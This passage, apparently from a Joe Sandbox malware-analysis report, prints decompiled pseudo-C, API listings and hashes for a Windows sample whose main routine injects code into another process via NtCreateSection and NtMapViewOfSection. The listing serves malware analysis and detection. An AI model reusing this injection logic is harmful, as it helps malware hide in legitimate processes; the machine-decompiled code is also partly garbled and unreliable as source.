				_pop(__ebp);
				return __eax;
			}

0x00401557
0x00401558
0x0040155a
0x0040155c
0x00401561
0x00401566
0x0040156f
0x00401571
0x00401571
0x00401574
0x00401574
0x00401579
0x00000000
0x00000000
0x004018a3
0x004018a3
0x0040157f
0x00401582
0x00401585
0x00401589
0x0040158c
0x00401590
0x00401596
0x00401599
0x0040159b
0x0040159e
0x004015a4
0x004015a7
0x004015b5
0x004015b6
0x004015b7
0x004015b9
0x004015bf
0x004015e2
0x004015e5
0x004015e8
0x004015eb
0x004015f1
0x00401606
0x0040160b
0x0040160e
0x00401611
0x00401629
0x0040162b
0x0040162e
0x00401647
0x00401649
0x00401653
0x00401659
0x0040165f
0x0040165f
0x00401647
0x00401629
0x00401662
0x0040166e
0x00401671
0x00401673
0x00401688
0x0040169b
0x0040169e
0x004016a1
0x004016b9
0x004016bf
0x004016c2
0x004016c4
0x004016d9
0x004016db
0x004016e1
0x004016e6
0x004016ea
0x004016ec
0x004016ec
0x004016ec
0x004016ed
0x00401717
0x00401740
0x00401741
0x00401744
0x0040175b
0x0040176a
0x00401772
0x00401777
0x00401780
0x00401789
0x00401795
0x00401797
0x0040179b
0x0040179c
0x004017a2
0x004017ac
0x004017ac
0x004017a4
0x004017a4
0x004017a4
0x004017b2
0x004017b3
0x004017b8
0x004017c6
0x004017c6
0x004017c6
0x004017cc
0x004017ce
0x004017cf
0x004017d3
0x0040183b
0x0040183f
0x0040184a
0x0040184a
0x0040184d
0x0040184d
0x00401850
0x00000000
0x00000000
0x00401852
0x0040185c
0x00401861
0x00401863
0x00401868
0x00401874
0x00401874
0x00401874
0x00401876
0x00401876
0x0040187a
0x00401881
0x00401883
0x00401886
0x00401896
0x004017d5
0x004017d5
0x004017da
0x004017db
0x004017f1
0x00401800
0x0040180d
0x00401824
0x00401832
0x00401832
0x004017d3
0x004016db
0x004016b9
0x00401688
0x004015bf
0x004018e0
0x004018e9
0x004018ee
0x004018ef
0x004018f0
0x004018f1
0x004018f1
0x004018f2

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 7a0e01981222968840e8d8a29b1f12db2e471b747821a4e8d38365e30775b594
Instruction ID: cc3d46135835756f9cafff621b1599bf12e5bdd411ec13d592e282f5f8ecdeaa
Opcode Fuzzy Hash: 7a0e01981222968840e8d8a29b1f12db2e471b747821a4e8d38365e30775b594
Instruction Fuzzy Hash: C1512A75900249BBEB209F91CC48FAFBBB8FF85B00F144169FA11BA2E5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040151F Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E0040151F(void* __ebx, void* __edi, void* __eflags) {
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				intOrPtr _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t130;
				intOrPtr _t131;
				intOrPtr* _t133;
				long* _t138;
				signed int _t140;
				int _t141;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				void* _t169;
				intOrPtr _t179;
				void* _t180;
				void* _t181;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t195;
				void* _t196;
				intOrPtr* _t199;
				void* _t200;
				void* _t204;
				void* _t205;
				intOrPtr* _t206;
				void* _t207;
				intOrPtr* _t208;
				void* _t209;
				long _t224;
				void* _t230;

				_t86 = 0x1561;
				_push(0x38d);
				_t131 =  *_t206;
				_t207 = _t206 + 4;
				asm("cmc");
				E0040119E(_t86, __ebx, _t131, 0xc0, __edi, 0x53802c55, __eflags, _t230);
				_t130 =  *((intOrPtr*)(_t205 + 8));
				 *((intOrPtr*)(_t205 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t205 - 0x34)) =  *((intOrPtr*)(_t205 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t205 - 0x5c)) = _t89;
				_t187 = _t205 - 0x60;
				 *_t187 = 0;
				 *((intOrPtr*)(_t130 + 0x4c))(_t89, _t187);
				_t92 =  *_t187;
				if(_t92 != 0) {
					_t133 = _t205 - 0x30;
					 *_t133 = _t92;
					 *((intOrPtr*)(_t133 + 4)) = 0;
					_t188 = _t205 - 0x28;
					 *((intOrPtr*)(_t130 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push(_t205 - 0x30);
					_push(_t188);
					_push(0x40);
					_push(_t205 - 0x10);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t205 - 8)) = 0;
						_t100 = _t205 - 0x50;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t189 = _t205 - 0x54;
						if(NtCreateSection(_t189, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t205 - 0x50);
							_t123 = _t205 - 0x44;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t123, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t125 = _t205 - 0x3c;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t189,  *(_t205 - 0xc), _t125, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
									_t204 =  *(_t205 - 0x44);
									 *((intOrPtr*)(_t130 + 0x20))(0, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
									 *((intOrPtr*)(_t205 - 8)) =  *((intOrPtr*)(_t205 - 8)) + 1;
								}
							}
						}
						_t102 = _t205 - 0x50;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
						_t190 = _t205 - 0x58;
						if(NtCreateSection(_t190, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 &&  *((intOrPtr*)(_t205 - 8)) != 0) {
							 *_t46 =  *(_t205 - 0x50);
							_t104 = _t205 - 0x48;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t104, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t106 = _t205 - 0x40;
								 *_t106 = 0;
								_t138 = _t205 - 0x38;
								_t224 = NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t106, 0, 0, 0, _t138, 1, 0, 0x20);
								if(_t224 == 0) {
									L24();
									if(_t224 == 0 && _t224 != 0) {
										 *_t138 = _t190;
										_t207 = _t205;
										_pop(_t205);
									}
									_t208 = _t207 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 =  *_t208;
									_t209 = _t208 + 4;
									_t162 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc1");
									_t164 = _t163 ^ 0xa3491271;
									_t207 = _t209 - _t164;
									_t195 =  *((intOrPtr*)(_t205 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t205 + 0xc))));
									_t140 =  *(_t195 + 6) & 0x0000ffff;
									_push(_t195);
									_t165 = _t195;
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t140);
									_t141 =  *(_t166 + 0x10);
									if(_t141 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) +  *(_t205 - 0x48),  *((intOrPtr*)(_t166 + 0x14)) +  *((intOrPtr*)(_t205 + 0xc)), _t141);
										_t207 = _t207 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t196);
									_t228 =  *((intOrPtr*)(_t205 - 0x34));
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_push(_t196);
										_t169 =  *((intOrPtr*)(_t196 + 0x34)) -  *(_t205 - 0x40);
										_t199 =  *((intOrPtr*)(_t196 + 0xa0)) +  *(_t205 - 0x48);
										__eflags = _t199;
										while(1) {
											__eflags =  *_t199;
											if( *_t199 == 0) {
												break;
											}
											_t179 =  *_t199;
											_t199 = _t199 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t169;
												__eflags =  *((intOrPtr*)( *(_t205 - 0x48) + 0 + _t179));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t200);
										__eflags = 0;
										_t110 = _t205 - 4;
										 *_t110 = 0;
										 *((intOrPtr*)(_t130 + 0x98))( *(_t205 - 0xc), 0, 0, 0, 0, 0,  *((intOrPtr*)(_t200 + 0x28)) +  *(_t205 - 0x40),  *(_t205 - 0x3c), _t110, 0);
									} else {
										L57();
										_pop(_t180);
										_t181 = _t180 - 0x17da;
										 *((intOrPtr*)(_t181 + 0x180e)) = _t181 + 0x2f6c;
										E00401217(_t130, _t228, _t230, _t181 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t181 + 0x1833)) = _t181 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				asm("les eax, [ebx+ebp*8]");
				__eax = E0040119E(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags, __fp0);
				__edi = 0xc0;
				__esi = 0x38d;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401529
0x00401536
0x0040153b
0x0040153e
0x0040155a
0x0040155c
0x00401561
0x00401566
0x0040156f
0x00401571
0x00401571
0x00401574
0x00401574
0x00401579
0x00000000
0x00000000
0x004018a3
0x004018a3
0x0040157f
0x00401582
0x00401585
0x00401589
0x0040158c
0x00401590
0x00401596
0x00401599
0x0040159b
0x0040159e
0x004015a4
0x004015a7
0x004015b5
0x004015b6
0x004015b7
0x004015b9
0x004015bf
0x004015e2
0x004015e5
0x004015e8
0x004015eb
0x004015f1
0x00401606
0x0040160b
0x0040160e
0x00401611
0x00401629
0x0040162b
0x0040162e
0x00401647
0x00401649
0x00401653
0x00401659
0x0040165f
0x0040165f
0x00401647
0x00401629
0x00401662
0x0040166e
0x00401671
0x00401673
0x00401688
0x0040169b
0x0040169e
0x004016a1
0x004016b9
0x004016bf
0x004016c2
0x004016c4
0x004016d9
0x004016db
0x004016e1
0x004016e6
0x004016ea
0x004016ec
0x004016ec
0x004016ec
0x004016ed
0x00401717
0x00401740
0x00401741
0x00401744
0x0040175b
0x0040176a
0x00401772
0x00401777
0x00401780
0x00401789
0x00401795
0x00401797
0x0040179b
0x0040179c
0x004017a2
0x004017ac
0x004017ac
0x004017a4
0x004017a4
0x004017a4
0x004017b2
0x004017b3
0x004017b8
0x004017c6
0x004017c6
0x004017c6
0x004017cc
0x004017ce
0x004017cf
0x004017d3
0x0040183b
0x0040183f
0x0040184a
0x0040184a
0x0040184d
0x0040184d
0x00401850
0x00000000
0x00000000
0x00401852
0x0040185c
0x00401861
0x00401863
0x00401868
0x00401874
0x00401874
0x00401874
0x00401876
0x00401876
0x0040187a
0x00401881
0x00401883
0x00401886
0x00401896
0x004017d5
0x004017d5
0x004017da
0x004017db
0x004017f1
0x00401800
0x0040180d
0x00401824
0x00401832
0x00401832
0x004017d3
0x004016db
0x004016b9
0x00401688
0x004015bf
0x004018e0
0x004018e9
0x004018ee
0x004018ef
0x004018f0
0x004018f1
0x004018f1
0x004018f2

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 10c6edddafc57620bab8f3e0fcce4b25055591cdbf7263b2c41a15db1795c36d
Instruction ID: 7b0ff6212a6efac6393312b74af7fae11c4648ab5a07736769ecee7b68bffce7
Opcode Fuzzy Hash: 10c6edddafc57620bab8f3e0fcce4b25055591cdbf7263b2c41a15db1795c36d
Instruction Fuzzy Hash: 23512A75900205BFEB209F91CC48FAF7BB8EF85B00F14416AFA12BA2E5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB0D Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__malloc_crt.LIBCMT ref: 0040AB3E

Memory Dump Source

Source File: 00000000.00000002.349140933.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_GyTbKONlyq.jbxd

Similarity

API ID: __malloc_crt
String ID:
API String ID: 3464615804-0
Opcode ID: 680e49ecc13cbe48de0f56ca14d717ea81e7880006487745ee42aac639f80b93
Instruction ID: e21ef1c2ef5742ed6df4c513a471f963e85952df7da7595b2434280adc956e00
Opcode Fuzzy Hash: 680e49ecc13cbe48de0f56ca14d717ea81e7880006487745ee42aac639f80b93
Instruction Fuzzy Hash: D4F089376042115ED62576356C4887B267ADA8A329315553BFA92E3280E9384D9382AE

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE0A Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040AE1F

Memory Dump Source

Source File: 00000000.00000002.349140933.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_GyTbKONlyq.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: a202c3d57859d2d9f7f2fdf93cd2d439cfa4120406105463b08f77246481dfa4
Instruction ID: 640cf9e4aa427c0b176727cb881a0e88f5bc32f9ed7bff3efe06bcf1b11e293d
Opcode Fuzzy Hash: a202c3d57859d2d9f7f2fdf93cd2d439cfa4120406105463b08f77246481dfa4
Instruction Fuzzy Hash: 4FD05E366903045FDB109FB0AD0C7633BDC9794795F084436B90CCA6A0E678C5508548

Uniqueness

Uniqueness Score: -1.00%

Function 00401910 Relevance: 1.3, APIs: 1, Instructions: 60
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 40%

			E00401910(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				intOrPtr _t19;
				void* _t22;
				intOrPtr* _t23;

				_t25 = __eflags;
				asm("sbb ebp, ebx");
				_push(0xab);
				_t19 =  *_t23;
				E0040119E(_t8, __ebx, 0x6f, _t19, __edi, __esi, __eflags, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E00401419(_t17, __edi, __esi, _t25, __fp0); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					E00401514(_t26, _t17, _t11,  *((intOrPtr*)(_t22 - 4)),  *((intOrPtr*)(_t22 + 0x14))); // executed
				}
				 *_t17();
				_t17 = _t17 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401910
0x00401910
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019a8
0x004019ad
0x004019ae
0x004019af
0x004019b0
0x004019b0
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 21e8c1f2be0fad2efb5be0a18617022cf06a06a2fa368ed1ac733ca737364c66
Instruction ID: 2421212cf9775cb4e82dc684017396ff3ea1ef4e86c58c10a51bd6cb4b6bc29e
Opcode Fuzzy Hash: 21e8c1f2be0fad2efb5be0a18617022cf06a06a2fa368ed1ac733ca737364c66
Instruction Fuzzy Hash: D00184B2708205EADB10AB95DC61ABA33149B45354F204537FA13B90F6C63D8513E76B

Uniqueness

Uniqueness Score: -1.00%

Function 004018F5 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E004018F5(void* __eflags, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t11;
				void* _t16;
				intOrPtr* _t17;
				intOrPtr _t19;
				void* _t20;
				void* _t21;
				intOrPtr* _t22;

				_t24 = __eflags;
				_push(0xab);
				_t19 =  *_t22;
				E0040119E(0x193e, _t16, 0x6f, _t19, _t20, _t21, __eflags, __fp0);
				_t17 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t17); // executed
				_t11 = E00401419(_t17, _t20, _t21, _t24, __fp0); // executed
				_t25 = _t11;
				if(_t11 != 0) {
					E00401514(_t25, _t17, _t11, _v8, _a16); // executed
				}
				 *_t17(0xffffffff, 0);
				_t17 = _t17 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				return __eax;
			}

0x004018f5
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: a4c832dc0da8ffc0caac80191dd9234b0867b31759a266d3bb8d5a00fc49371a
Instruction ID: e1afb8008e98de97791c5ed59cb83e73cde9cb9d6ac916766b20bfdf9a8cc7b7
Opcode Fuzzy Hash: a4c832dc0da8ffc0caac80191dd9234b0867b31759a266d3bb8d5a00fc49371a
Instruction Fuzzy Hash: 66018CF130C209FAEB106A948C71ABA36299B81314F300133BA13790F5C53D8A13E66F

Uniqueness

Uniqueness Score: -1.00%

Function 00401900 Relevance: 1.3, APIs: 1, Instructions: 54
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 40%

			E00401900(void* __eax, void* __ecx, void* __edi, void* __esi, void* __fp0) {
				void* _t14;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr _t24;
				void* _t27;
				intOrPtr* _t28;
				intOrPtr _t30;

				_pop(_t20);
				_pop(_t28);
				_t1 = __eax + 0x193e;
				 *_t1 =  *((intOrPtr*)(__eax + 0x193e)) - _t20;
				_t30 =  *_t1;
				_push(0xab);
				_t24 =  *_t28;
				E0040119E(0x193e, _t20, 0x6f, _t24, __edi, __esi, _t30, __fp0);
				_t21 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_push(_t27 - 4);
				_push( *((intOrPtr*)(_t27 + 0x10)));
				_push( *((intOrPtr*)(_t27 + 0xc)));
				_push(_t21); // executed
				_t14 = E00401419(_t21, __edi, __esi, _t30, __fp0); // executed
				_t31 = _t14;
				if(_t14 != 0) {
					E00401514(_t31, _t21, _t14,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t21();
				_t21 = _t21 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401902
0x00401903
0x00401904
0x00401904
0x00401904
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019a8
0x004019ad
0x004019ae
0x004019af
0x004019b0
0x004019b0
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b4182ac66895bd812ae315ac775f9ddb541a2cbfab70aa13ec0e46e49fa29885
Instruction ID: c80725063fa5cd5d3bf9caad683ad8039253a2745de3db8bb1ccfc6e48a334a0
Opcode Fuzzy Hash: b4182ac66895bd812ae315ac775f9ddb541a2cbfab70aa13ec0e46e49fa29885
Instruction Fuzzy Hash: BA015EF130C205EAEB105A949C71ABA36159B85314F304137BA53790F6C53D8A13E66B

Uniqueness

Uniqueness Score: -1.00%

Function 0040190C Relevance: 1.3, APIs: 1, Instructions: 53
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E0040190C(void* __eax, void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t14;
				intOrPtr* _t20;
				intOrPtr _t22;
				void* _t26;
				intOrPtr* _t27;

				_t29 = __eflags;
				_t25 = __eax;
				_push(0xab);
				_t22 =  *_t27;
				E0040119E(0x193e, __ebx, 0x6f, _t22, __edi, __eax, __eflags, __fp0);
				_t20 =  *((intOrPtr*)(_t26 + 8));
				Sleep(0x1388);
				_push(_t26 - 4);
				_push( *((intOrPtr*)(_t26 + 0x10)));
				_push( *((intOrPtr*)(_t26 + 0xc)));
				_push(_t20); // executed
				_t14 = E00401419(_t20, __edi, _t25, _t29, __fp0); // executed
				_t30 = _t14;
				if(_t14 != 0) {
					E00401514(_t30, _t20, _t14,  *((intOrPtr*)(_t26 - 4)),  *((intOrPtr*)(_t26 + 0x14))); // executed
				}
				 *_t20();
				_t20 = _t20 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x0040190c
0x0040190c
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019a8
0x004019ad
0x004019ae
0x004019af
0x004019b0
0x004019b0
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_GyTbKONlyq.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d7d75899f1d3c21672ccbd88ffa7d7ebbf0127e2ec3ce50d705c7a6544b2d48f
Instruction ID: 5c6be3d6fa264534ea991e23dffef21807595c3374f62bed89ca8c6d847c6ab3
Opcode Fuzzy Hash: d7d75899f1d3c21672ccbd88ffa7d7ebbf0127e2ec3ce50d705c7a6544b2d48f
Instruction Fuzzy Hash: B9011AF1708205EAEB119A949C71ABA32259B85314F304133BA13791F6C67D8A53E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401921 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E00401921(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t18;
				intOrPtr _t19;
				void* _t22;
				intOrPtr* _t23;

				_t25 = __eflags;
				_t18 = __ecx;
				asm("scasb");
				_push(0xab);
				_t19 =  *_t23;
				E0040119E(_t8, __ebx, __ecx, _t19, __edi, __esi, __eflags, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E00401419(_t17, __edi, __esi, _t25, __fp0); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					E00401514(_t26, _t17, _t11,  *((intOrPtr*)(_t22 - 4)),  *((intOrPtr*)(_t22 + 0x14))); // executed
				}
				 *_t17();
				_t17 = _t17 + _t18;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401921
0x00401921
0x00401921
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019a8
0x004019ad
0x004019ae
0x004019af
0x004019b0
0x004019b0
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.349127695.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

